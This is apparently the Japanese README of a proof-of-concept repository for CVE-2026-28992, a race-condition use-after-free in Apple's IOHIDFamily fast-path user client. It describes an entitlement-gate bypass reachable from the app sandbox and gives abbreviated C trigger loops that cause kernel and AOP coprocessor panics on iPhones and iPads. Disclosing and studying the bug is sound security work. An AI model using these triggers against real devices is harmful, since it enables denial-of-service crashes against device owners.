
IOHIDEventServiceFastPathUserClient における UAF および AOP コプロセッサのパニック。エンタイトルメントは不要で、アプリのサンドボックスから到達可能。
CVE-2026-28992 | 著者: Johnny Franks (@zeroxjf)
コンポーネント: IOHIDFamily
影響: 攻撃者が予期しないアプリの終了を引き起こす可能性があります
説明: ロックの改善により、メモリ破損の脆弱性が解決されました。
両方のPoCはカーネルパニックを引き起こし、影響を受けるデバイスを再起動します。先に作業を保存してください。
IOHIDEventServiceFastPathUserClient(IOHIDFamily kext)における2つのレースコンディション。エンタイトルメントは不要です。通常のアプリサンドボックスから到達可能です。
両方のベクターは IOServiceOpen(service, task, 2, &conn) を使用します。sel0 オープンゲートは、initWithTask 中に保存されたエンタイトルメントフラグではなく、呼び出し元が提供する OSDictionary 内の FastPathHasEntitlement と FastPathMotionEventEntitlement をチェックします。サンドボックス化されたアプリは、入力構造体にこれらのキーを含めることでゲートを通過します。
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
クローズパス(sel1)はプロバイダの状態を破棄し、ロックなしで +0x109 をクリアします。copyEvent(sel2)は、接続ごとのロックの下で別のフラグ(+0x108)をチェックし、プロバイダを呼び出します。同じプロバイダへの複数の接続があるため、close と copyEvent は共有されるプロバイダ側オブジェクトに対して異なるロックドメインで動作します。
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy は非同期の didTerminate → close/teardown をトリガーし、他の接続での並行する sel0 オープンパスと同期されません。これにより、SPU バックエンドのプロバイダのメールボックスも飽和状態になり、AOP ウォッチドッグタイムアウトが発生します。
| パス | 説明 |
|---|---|
UAFPoc/ | iOS アプリ — UAF をトリガーします(A17+ では MTE タグフォールト、A17 未満ではデータアボート) |
AOPPanicPoc/ | iOS アプリ — SPU メールボックス飽和による AOP コプロセッサのパニックをトリガーします |
panic-logs/mte-tag-fault.ips | カーネルタグチェックフォールト — iPhone 17 Pro Max(A19 Pro、MTE+PAC) |
panic-logs/ipad-data-abort.ips | カーネルデータアボート — iPad Pro 12.9インチ 第2世代(A10X、MTE/PAC なし) |
panic-logs/aop-panic.ips | AOP コプロセッサのパニック — iPhone 17 Pro Max(SPU メールボックスオーバーフロー) |